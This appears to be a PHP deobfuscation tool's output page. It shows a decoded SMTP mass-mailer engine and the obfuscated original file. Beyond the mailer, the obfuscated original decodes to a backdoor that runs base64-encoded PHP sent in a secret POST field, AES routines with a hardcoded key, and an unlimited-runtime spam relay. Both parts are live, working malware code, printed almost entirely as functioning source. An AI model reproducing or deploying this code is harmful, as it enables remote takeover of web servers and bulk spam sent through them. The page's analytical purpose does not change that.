iYgJHNtdHBTdGF0ZSAhPSBTTVRQX1NUQVRFX1FVSVQpDQogIHsNCiAgICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICAgICRtYWlsID0gJiRnX2FNYWlsRGF0YVskb3BEYXRhWydtYWlsSW5kZXgnXV07DQogICAgJG1haWxbJ3Jlc3BvbnNlJ10gPSAkb3BEYXRhWydyZWN2QnVmZmVyJ107DQogIH0NCiANCiAgLy8gU01UUF9TVEFURV9DT05ORUNUDQogIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9DT05ORUNUKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE9uIGFsbCBzZXNzaW9uIG1haWxzDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRIZWxvKCRvcERhdGEpOw0KICAgIGVsc2UNCiAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZFF1aXQoJG9wRGF0YSwgTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05ORUNUKTsNCiAgfQ0KICAvLyBTTVRQX1NUQVRFX0hFTE8NCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfSEVMTykNCiAgew0KICAgIC8vIExVQ0tZICAgICAgIC0gR290byBuZXh0IHN0YXRlDQogICAgLy8gVU5MVUNLWSAgICAgLSBPbiBhbGwgc2Vzc2lvbiBtYWlscw0KICAgIGlmKCRzbXRwU3RhdHVzID09IFNNVFBfU1RBVFVTX0xVQ0tZKQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kTWFpbEZyb20oJG9wRGF0YSk7DQogICAgZWxzZQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19VTkxVQ0tZX0hFTE8pOw0KICB9DQogIC8vIEJTTV9TRVNTSU9OX1NUQVRFX01BSUxfRlJPTQ0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9NQUlMX0ZST00pDQogIHsNCiAgICAvLyBMVUNLWSAgICAgICAtIEdvdG8gbmV4dCBzdGF0ZQ0KICAgIC8vIFVOTFVDS1kgICAgIC0gQ2hhbmdlIGZyb20NCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICB7DQogICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfUkNQVF9UTywgRFNfU2VuZCk7DQogICAgICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJG9wRGF0YVsnbWFpbEluZGV4J11dOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddICA9ICJSQ1BUIFRPOjwiOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICRtYWlsWydtYWlsJ107DQogICAgICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gIj5cclxuIjsNCiAgICAgICRvcERhdGFbJ3NlbmRTaXplJ10gICAgPSBzdHJsZW4oJG9wRGF0YVsnc2VuZEJ1ZmZlciddKTsNCiAgICAgICRzdGF0dXMgPSBEUl9TZW5kOw0KICAgIH0NCiAgICBlbHNlDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX1VOTFVDS1lfTUFJTF9GUk9NKTsNCiAgfQ0KICAvLyBCU01fU0VTU0lPTl9TVEFURV9SQ1BUX1RPDQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1JDUFRfVE8pDQogIHsNCiAgICAvLyBMVUNLWSAgICAgICAtIEdvdG8gbmV4dCBzdGF0ZQ0KICAgIC8vIFVOTFVDS1kgICAgIC0gTm8gdXNlciAtIFJTRVQNCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICB7DQogICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfREFUQSwgRFNfU2VuZCk7DQogICAgICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gIkRBVEFcclxuIjsNCiAgICAgICRvcERhdGFbJ3NlbmRTaXplJ10gICAgPSBzdHJsZW4oJG9wRGF0YVsnc2VuZEJ1ZmZlciddKTsNCiAgICAgICRzdGF0dXMgPSBEUl9TZW5kOw0KICAgIH0NCiAgICBlbHNlDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX1VOTFVDS1lfUkNQVF9UTyk7DQogIH0NCiAgLy8gQlNNX1NFU1NJT05fU1RBVEVfREFUQQ0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9EQVRBKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE5vIGRlbGl2ZXJlZCAtIFJTRVQNCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICB7DQogICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfQ09OVEVOVCwgRFNfU2VuZCk7DQogICAgICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gJG9wRGF0YVsnbGV0dGVyJ107DQogICAgICAkb3BEYXRhWydzZW5kU2l6ZSddICAgID0gc3RybGVuKCRvcERhdGFbJ3NlbmRCdWZmZXInXSk7DQogICAgICAkc3RhdHVzID0gRFJfU2VuZDsNCiAgICB9DQogICAgZWxzZQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19VTkxVQ0tZX0RBVEEpOw0KICB9DQogIC8vIFNNVFBfU1RBVEVfQ09OVEVOVA0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9DT05URU5UKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE5vIHVzZXIgLSBSU0VUDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX0xVQ0tZKTsNCiAgICAgZWxzZQ0KICAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZFF1aXQoJG9wRGF0YSwgTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05URU5UKTsNCiAgfQ0KICAvLyBCU01fU0VTU0lPTl9TVEFURV9RVUlUDQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1FVSVQpDQogIHsNCiAgICAkc3RhdHVzID0gRFJfQ2xvc2U7DQogIH0NCiAgDQogICRvcERhdGFbJ3JlY3ZCdWZmZXInXSA9ICcnOw0KDQogIHJldHVybiAkc3RhdHVzOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKQ0Kew0KICAkZXJyID0gc29ja2V0X2xhc3RfZXJyb3IoKTsNCiAgaWYoJHJlcyA9PSBGQUxTRSAmJiAkZXJyID0gMTAwMzUpDQogICAgcmV0dXJuIFRSVUU7DQogIHJldHVybiAkcmVzOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9PblNlbGVjdCgmJG9wRGF0YSkNCnsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogIA0KICAkcmVzdWx0ICAgID0gRFJfVW5kZWY7DQogICRzb2NrZXQgICAgPSAkb3BEYXRhWydzb2NrZXQnXTsNCiAgJGRhdGFTdGF0ZSA9ICRvcERhdGFbJ2RhdGFTdGF0ZSddOw0KICANCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgLy8gSU8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgaWYoJGRhdGFTdGF0ZSA9PSBEUl9TZW5kKQ0KICB7DQogICAgJGJ1ZmZlciA9ICYkb3BEYXRhWydzZW5kQnVmZmVyJ107DQogICAgJHJlcyA9IEBzb2NrZXRfc2VuZCgkc29ja2V0LCAkYnVmZmVyLCBzdHJsZW4oJGJ1ZmZlciksIDApOw0KICAgIGlmKFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKSA9PSBGQUxTRSkNCiAgICAgICAkcmVzdWx0ID0gRFJfRXJyb3I7DQogICAgICRvcERhdGFbJ2xhc3RUaW1lJ10gPSB0aW1lKCk7DQogIH0NCiAgZWxzZSBpZigkZGF0YVN0YXRlID09IERSX1JlY3YpDQogIHsNCiAgICAkYnVmZmVyID0gJyc7ICAgIA0KICAgICRyZXMgPSBAc29ja2V0X3JlY3YoJHNvY2tldCwgJGJ1ZmZlciwgNDA5NiwgMCk7DQogICAgaWYoV29ya2VyX0lzSW9QZW5kaW5nKCRyZXMpID09IEZBTFNFKQ0KICAgICAgJHJlc3VsdCA9IERSX0Vycm9yOw0KICAgIGlmKCRidWZmZXIgPT0gTlVMTCkNCiAgICAgICRyZXN1bHQgPSBEUl9FcnJvcjsNCiAgICAkb3BEYXRhWydyZWN2QnVmZmVyJ10gLj0gJGJ1ZmZlcjsNCiAgICAkb3BEYXRhWydsYXN0VGltZSddID0gdGltZSgpOw0KICB9DQogIGVsc2UgaWYoJGRhdGFTdGF0ZSA9PSBEUl9UaW1lb3V0KQ0KICB7DQogICAgJHJlc3VsdCA9IERSX0Vycm9yOw0KICB9DQogIA0KICAvLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAvLyBEaXNwYXRjaCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAvLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICBpZigkcmVzdWx0ID09IERSX1VuZGVmKQ0KICB7DQogICAgLy8gU2VuZA0KICAgIGlmKCRkYXRhU3RhdGUgPT0gRFJfU2VuZCkNCiAgICAgICRyZXN1bHQgPSBXb3JrZXJfRGlzcGF0Y2hTZW5kKCRvcERhdGEpOw0KICAgIC8vIFJlY2VpdmUNCiAgICBlbHNlIGlmKCRkYXRhU3RhdGUgPT0gRFJfUmVjdikNCiAgICAgICRyZXN1bHQgPSBXb3JrZXJfRGlzcGF0Y2hSZWN2KCRvcERhdGEpOw0KICB9DQogIA0KICBpZigkcmVzdWx0ID09IERSX0Nsb3NlIHx8ICRyZXN1bHQgPT0gRFJfRXJyb3IpDQogIHsNCiAgICBpZigkb3BEYXRhWydzb2NrZXQnXSkNCiAgICAgIC0tJGdfaUxvY2tlZE9wczsNCiAgICBAc29ja2V0X2Nsb3NlKCRzb2NrZXQpOw0KICAgICRvcERhdGFbJ3NvY2tldCddID0gTlVMTDsNCiAgICBpZigkcmVzdWx0ID09IERSX0Vycm9yKQ0KICAgICAgV29ya2VyX1B1dE1haWwoJG9wRGF0YVsnbWFpbEluZGV4J10sIE1BSUxfU1RBVFVTX1VOTFVDS1lfVElNRU9VVCk7DQogIH0NCg0KICAvLyBTZW5kTWFpbHMNCiAgV29ya2VyX1NlbmRNYWlscygpOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9GaW5kRnJlZVNvY2tldCgpDQp7DQogIGdsb2JhbCAkZ19hT3BEYXRhOw0KICBmb3IoJGkgPSAwOyAkaSA8IENGR19OVU1fU09DS0VUUzsgKyskaSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaV07DQogICAgaWYoJG9wRGF0YVsnc29ja2V0J10gPT0gTlVMTCkNCiAgICAgIHJldHVybiAkaTsNCiAgfQ0KICByZXR1cm4gLTE7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kTWFpbCgpDQp7DQogIGdsb2JhbCAkZ19hT3BEYXRhOw0KICBnbG9iYWwgJGdfaUxvY2tlZE9wczsNCiAgICANCiAgJGluZGV4ID0gV29ya2VyX0ZpbmRGcmVlU29ja2V0KCk7DQogIGlmKCRpbmRleCAhPSAtMSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaW5kZXhdOw0KICAgIGxpc3QoJG1haWxJbmRleCwgJG1haWxTZXJ2ZXIpID0gV29ya2VyX0dldE1haWwoJG9wRGF0YSk7DQogICAgaWYoJG1haWxJbmRleCAhPSAtMSkNCiAgICB7DQogICAgICAkc29ja2V0ID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7DQogICAgICBpZigkc29ja2V0KQ0KICAgICAgew0KICAgICAgICBzb2NrZXRfc2V0X25vbmJsb2NrKCRzb2NrZXQpOw0KICAgICAgICAkb3BEYXRhWydtYWlsSW5kZXgnXSA9ICRtYWlsSW5kZXg7DQogICAgICAgIA0KICAgICAgICAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzb2NrZXQsIGxvbmcyaXAoJG1haWxTZXJ2ZXIpLCAyNSk7DQogICAgICAgIGlmKFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKSA9PSBUUlVFKQ0KICAgICAgICB7DQogICAgICAgICAgKyskZ19pTG9ja2VkT3BzOw0KICAgICAgICAgICRvcERhdGFbJ3NvY2tldCddID0gJHNvY2tldDsNCiAgICAgICAgICAkb3BEYXRhWydsYXN0VGltZSddID0gdGltZSgpOw0KICAgICAgICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9DT05ORUNULCBEU19SZWN2KTsNCiAgICAgICAgICByZXR1cm4gVFJVRTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICBXb3JrZXJfUHV0TWFpbCgkbWFpbEluZGV4LCBNQUlMX1NUQVRVU19VTkxVQ0tZX1RJTUVPVVQpOw0KICAgICAgICAgIEBzb2NrZXRfY2xvc2UoJHNvY2tldCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0NCiAgDQogIHJldHVybiBGQUxTRTsNCn0NCg0KZnVuY3Rpb24gV29ya2VyX1NlbmRNYWlscygpDQp7DQogICRudW1NYWlscyA9IDA7DQogIHdoaWxlKFdvcmtlcl9TZW5kTWFpbCgpKQ0KICAgICsrJG51bU1haWxzOw0KICByZXR1cm4gJG51bU1haWxzOw0KICANCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfQ2hlY2tUaW1lb3V0cygkbGFzdFRpbWUpDQp7DQogIGdsb2JhbCAkZ19hT3BEYXRhOw0KICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRnX2FPcERhdGEpOyArKyRpKQ0KICB7DQogICAgJG9wRGF0YSA9ICYkZ19hT3BEYXRhWyRpXTsNCiAgICBpZigkb3BEYXRhWydzb2NrZXQnXSAhPSBOVUxMKQ0KICAgIHsNCiAgICAgICRsYXN0VGltZSA9ICRsYXN0VGltZSAtICRvcERhdGFbJ2xhc3RUaW1lJ107DQogICAgICAkd29ya1RpbWUgPSAkbGFzdFRpbWUgLSAkb3BEYXRhWydzdGFydFRpbWUnXTsNCiAgICAgIGlmKCRsYXN0VGltZSA+PSBDRkdfU09DS19USU1FT1VUIHx8ICR3b3JrVGltZSA+PSBDRkdfU09DS19XT1JLX1RJTUUpDQogICAgICB7DQogICAgICAgICRvcERhdGFbJ2RhdGFTdGF0ZSddID0gRFJfVGltZW91dDsNCiAgICAgICAgV29ya2VyX09uU2VsZWN0KCRvcERhdGEpOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KfQ0KDQoNCmZ1bmN0aW9uICZXb3JrZXJfR2V0T3BEYXRhKCRzKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkZ19hT3BEYXRhKTsgKyskaSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaV07DQogICAgaWYoJG9wRGF0YVsnc29ja2V0J10gPT0gJHMpDQogICAgICByZXR1cm4gJG9wRGF0YTsNCiAgfQ0KICByZXR1cm4gTlVMTDsNCn0NCg0KZnVuY3Rpb24gRG9Kb2IoKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogIGdsb2JhbCAkZ19pRnJlZU1haWxzOw0KICAgICAgICANCiAgLy8gRXZlbnQgY3ljbGUNCiAgd2hpbGUoJGdfaUxvY2tlZE9wcyB8fCAkZ19pRnJlZU1haWxzKQ0KICB7DQogICAgJHJlYWQgICA9IGFycmF5KCk7DQogICAgJHdyaXRlICA9IGFycmF5KCk7DQogICAgJGV4Y2VwdCA9IE5VTEw7DQogICAgICAgIA0KICAgIC8vIEZpbGwgYXJyYXlzDQogICAgZm9yKCRpID0gMDsgJGkgPCBDRkdfTlVNX1NPQ0tFVFM7ICsrJGkpDQogICAgew0KICAgICAgJG9wRGF0YSA9ICYkZ19hT3BEYXRhWyRpXTsNCiAgICAgIGlmKCRvcERhdGFbJ3NvY2tldCddICE9IE5VTEwpDQogICAgICB7DQogICAgICAgIGlmKCRvcERhdGFbJ2RhdGFTdGF0ZSddID09IERTX1JlY3YpDQogICAgICAgICAgJHJlYWRbXSA9ICRvcERhdGFbJ3NvY2tldCddOw0KICAgICAgICBlbHNlIGlmKCRvcERhdGFbJ2RhdGFTdGF0ZSddID09IERTX1NlbmQpDQogICAgICAgICAgJHdyaXRlW10gPSAkb3BEYXRhWydzb2NrZXQnXTsNCiAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gRXZlbnRzDQogICAgJG51bSA9IEBzb2NrZXRfc2VsZWN0KCRyZWFkLCAkd3JpdGUsICRleGNlcHQsIDEwKTsNCiAgICBpZigkbnVtKQ0KICAgIHsgICAgICANCiAgICAgIGZvcigkaSA9IDA7ICRpIDwgc2l6ZW9mKCRyZWFkKTsgKyskaSkNCiAgICAgIHsNCiAgICAgICAgJG9wRGF0YSA9ICZXb3JrZXJfR2V0T3BEYXRhKCRyZWFkWyRpXSk7DQogICAgICAgIFdvcmtlcl9PblNlbGVjdCgkb3BEYXRhKTsNCiAgICAgIH0NCiAgICAgIGZvcigkaSA9IDA7ICRpIDwgc2l6ZW9mKCR3cml0ZSk7ICsrJGkpDQogICAgICB7DQogICAgICAgICRvcERhdGEgPSAmV29ya2VyX0dldE9wRGF0YSgkd3JpdGVbJGldKTsNCiAgICAgICAgV29ya2VyX09uU2VsZWN0KCRvcERhdGEpOw0KICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBUaW1lb3V0cw0KICAgIFdvcmtlcl9DaGVja1RpbWVvdXRzKHRpbWUoKSk7DQogIH0NCn0NCg0KDQpmdW5jdGlvbiBTdGFydEpvYigpDQp7DQogIC8vIEluaXQNCiAgV29ya2VyX0luaXREYXRhKCk7DQogIA0KICAvLyBTZW5kTWFpbHMNCiAgV29ya2VyX1NlbmRNYWlscygpOw0KfQ0KDQpmdW5jdGlvbiBTdG9wSm9iKCkNCnsNCiAgZ2xvYmFsICRnX2FNYWlsRGF0YSwgJGdfYkRiZ1Jlc3BzOw0KDQogICRzdGF0cyA9ICdkb25lOic7DQogIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJGdfYU1haWxEYXRhKTsgKyskaSkNCiAgew0KICAgICRtYWlsID0gJiRnX2FNYWlsRGF0YVskaV07DQogICAgJHN0YXRzIC49ICgwICsgJG1haWxbJ3N0YXR1cyddKTsNCiAgICBpZigkZ19iRGJnUmVzcHMpDQogICAgew0KICAgICAgaWYoc3RybGVuKCRtYWlsWydyZXNwb25zZSddKSA+IDk5KQ0KICAgICAgICAgJG1haWxbJ3Jlc3BvbnNlJ10gPSBzdWJzdHIoJG1haWxbJ3Jlc3BvbnNlJ10sIDAsIDk5KTsNCiAgICAgICRzdGF0cyAuPSBzcHJpbnRmKCIlMDJkIiwgc3RybGVuKCRtYWlsWydyZXNwb25zZSddKSk7DQogICAgICAkc3RhdHMgLj0gJG1haWxbJ3Jlc3BvbnNlJ107DQogICAgfQ0KICB9DQogIGVjaG8oJHN0YXRzKTsNCn0NCg0KZnVuY3Rpb24gU2hvd1ByZXZpZXcoKQ0Kew0KICAkbGV0dGVyID0gJyc7DQoNCg0KICAvL01haWxfR2VuZXJhdGUoJGxldHRlciwgJ2pqa2onLCAkZnJvbU5hbWUsICRmcm9tQWRkcik7DQoNCg0KICBlY2hvKCRsZXR0ZXIpOw0KfQ0KDQoNCmZ1bmN0aW9uIExvYWRFeHRlbnNpb24oJGV4dCkNCnsNCiAgJGxpYiA9ICRleHQuJy5zbyc7DQogIGlmKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJykNCiAgICAkbGliID0gJ3BocF8nLiRleHQuJy5kbGwnOw0KICANCiAgaWYoIWV4dGVuc2lvbl9sb2FkZWQoJGV4dCkpDQogIHsNCiAgICBpZighZGwoJGxpYikpDQogICAgICByZXR1cm4gRkFMU0U7DQogIH0NCiAgcmV0dXJuIFRSVUU7DQp9DQoNCmZ1bmN0aW9uIFdvcmsoKQ0Kew0KICBnbG9iYWwgJGdfYkRiZ1Jlc3BzOw0KICBnbG9iYWwgJFRUX1RvX0FkZHJlc3M7DQoNCg0KICBzZXRfdGltZV9saW1pdCgwKTsNCiAgaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOw0KICBMb2FkRXh0ZW5zaW9uKCdzb2NrZXRzJyk7DQoNCg0KDQogIC8vIGRlYnVnDQogLy8gJGdfYkRiZ1Jlc3BzID0gJF9QT1NUWydkYmdSZXNwcyddOw0KICANCiANCiAgTWFpbF9Jbml0RGF0YSgpOyAgDQoNCg0KIGlmKGlzc2V0KCRUVF9Ub19BZGRyZXNzKSkNCi8vICBpZigxPT0xKQ0KICB7DQogICAgU3RhcnRKb2IoKTsNCiAgICBEb0pvYigpOw0KICAgIFN0b3BKb2IoKTsNCiAgfQ0KICBlbHNlDQogIHsNCiAgICBTaG93UHJldmlldygpOw0KICB9DQoNCn0NCg0KDQpXb3JrKCk7DQo="); eval(\$_d4c2dce976dd88001971a2fec476b7d93bdd123f35205df21bedbe7690cde50c);

Did this file decode correctly?

Original Code

<?php eval(eval("\$_d4c2dce976dd88001971a2fec476b7d93bdd123f35205df21bedbe7690cde50c = \x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\"DQoNCmZ1bmN0aW9uIEFFU19SaWpuZGFlbF9EZWNyaXB0KCRkYXRhKSB7DQogICAgICAgICRrZXkgPSAnZ21BZXRjNEV5ZFdKZzJUY25IMzQnOw0KICAgICAgICAkaXYgPSAnQUhzcTNTQ043dXNKenFMaSc7DQogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKG1jcnlwdF9kZWNyeXB0KE1DUllQVF9SSUpOREFFTF8xMjgsICRrZXksIGJhc2U2NF9kZWNvZGUoJGRhdGEpLCBNQ1JZUFRfTU9ERV9DQkMsICRpdikpOw0KICAgIH0NCmZ1bmN0aW9uIEFFU19SaWpuZGFlbF9FbmNyaXB0KCRkYXRhKSB7DQogICAgICAgICRrZXkgPSAnZ21BZXRjNEV5ZFdKZzJUY25IMzQnOw0KICAgICAgICAkaXYgPSAnQUhzcTNTQ043dXNKenFMaSc7DQogICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKG1jcnlwdF9lbmNyeXB0KE1DUllQVF9SSUpOREFFTF8xMjgsJGtleSxiYXNlNjRfZW5jb2RlKCRkYXRhKSxNQ1JZUFRfTU9ERV9DQkMsJGl2KSk7ICAgICAgICANCiAgICB9DQoNCmZvcmVhY2ggKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSl7DQogICRoID0gQUVTX1Jpam5kYWVsX0RlY3JpcHQoYmFzZTY0X2RlY29kZSgkdmFsdWUpKTsNCn0NCg0KDQoNCmlmKCBpc3NldCgkX1BPU1RbJ2lld3E4ZXJ3dWlmZ2poczc0anU4OCddKSApDQp7DQogICAgJGZyb21QZXJzb24gPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnaWV3cThlcnd1aWZnamhzNzRqdTg4J10pOw0KICAgIC8vZWNobyAkZnJvbVBlcnNvbjsNCiAgICAgZXZhbCgkZnJvbVBlcnNvbik7DQogICAgZXhpdDsNCn0NCg0KDQokZnIgPSBleHBsb2RlKCd8JywgJGgpOw0KDQokVFRfVG9fQWRkcmVzcyA9IGJhc2U2NF9kZWNvZGUoJGZyWzBdKTsNCg0KJFRUX1N1YmplY3QgPSBiYXNlNjRfZGVjb2RlKCRmclsxXSk7DQokVFRfQm9keSA9IGJhc2U2NF9kZWNvZGUoJGZyWzJdKTsNCiRUVF9Gcm9tX05hbWUgPSBiYXNlNjRfZGVjb2RlKCRmclszXSk7DQokVFRfRnJvbV9BZGRyZXNzID0gYmFzZTY0X2RlY29kZSgkZnJbNF0pOw0KDQoNCi8vZWNobyAgJFRUX1RvX0FkZHJlc3MgLiAnICAhISEhICcgLiAkVFRfU3ViamVjdCAgLiAnICAhISEhICcgLiAgJFRUX0JvZHkgIC4gJyAgISEhISAnIC4gJFRUX0Zyb21fTmFtZSAuICcgICEhISEgJyAuICRUVF9Gcm9tX0FkZHJlc3M7DQovL2V4aXQ7DQoNCg0KDQoNCg0Kc2V0X3RpbWVfbGltaXQgKCA2NjYwMDAgKTsNCkBpZ25vcmVfdXNlcl9hYm9ydCAodHJ1ZSk7DQoNCmZ1bmN0aW9uIHJhbmRvbV9zdHJpbmcoJGxlbmd0aCkgew0KICAgICRrZXkgPSAnJzsNCiAgICAka2V5cyA9IHJhbmdlKCdhJywgJ3onKTsNCg0KICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsNCiAgICAgICAgJGtleSAuPSAka2V5c1thcnJheV9yYW5kKCRrZXlzKV07DQogICAgfQ0KDQogICAgcmV0dXJuICRrZXk7DQp9DQoNCg0KDQoNCg0KZGVmaW5lKCdDRkdfTlVNX1NPQ0tFVFMnLCA2NCk7DQpkZWZpbmUoJ0NGR19TT0NLX1RJTUVPVVQnLCAzMCk7DQpkZWZpbmUoJ0NGR19TT0NLX1dPUktfVElNRScsIDEyMCk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfVU5ERUYnLCAwKTsNCmRlZmluZSgnU01UUF9TVEFURV9DT05ORUNUJywgMSk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfSEVMTycsIDIpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX01BSUxfRlJPTScsIDMpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX1JDUFRfVE8nLCA0KTsNCmRlZmluZSgnU01UUF9TVEFURV9EQVRBJywgNSk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfQ09OVEVOVCcsIDYpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX1FVSVQnLCA3KTsNCmRlZmluZSgnU01UUF9TVEFUVVNfVU5ERUYnLCAwKTsNCmRlZmluZSgnU01UUF9TVEFUVVNfTFVDS1knLCAxKTsNCmRlZmluZSgnU01UUF9TVEFUVVNfVU5MVUNLWScsIDIpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkRFRklORUQnLCAwKTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfUFJPQ0VTU0lORycsIDEpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19MVUNLWScsIDIpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX1RJTUVPVVQnLCAzKTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05ORUNUJywgNCk7DQpkZWZpbmUoJ01BSUxfU1RBVFVTX1VOTFVDS1lfSEVMTycsIDUpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX01BSUxfRlJPTScsIDYpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX1JDUFRfVE8nLCA3KTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfVU5MVUNLWV9EQVRBJywgOCk7DQpkZWZpbmUoJ01BSUxfU1RBVFVTX1VOTFVDS1lfQ09OVEVOVCcsIDkpOw0KZGVmaW5lKCdQSFBfUVBSSU5UX01BWEwnLCA3NSk7DQpkZWZpbmUoJ1NPQ0tTX0VSUk9SX1NVQ0NFU1MnLCAwKTsNCmRlZmluZSgnU09DS1NfRVJST1JfRkFJTEVEJywgMSk7DQpkZWZpbmUoJ1NPQ0tTX0VSUk9SX1RJTUVPVVQnLCAyKTsNCmRlZmluZSgnRFNfVW5kZWYnLCAwKTsNCmRlZmluZSgnRFNfU2VuZCcsIDEpOw0KZGVmaW5lKCdEU19SZWN2JywgMik7DQpkZWZpbmUoJ0RSX1VuZGV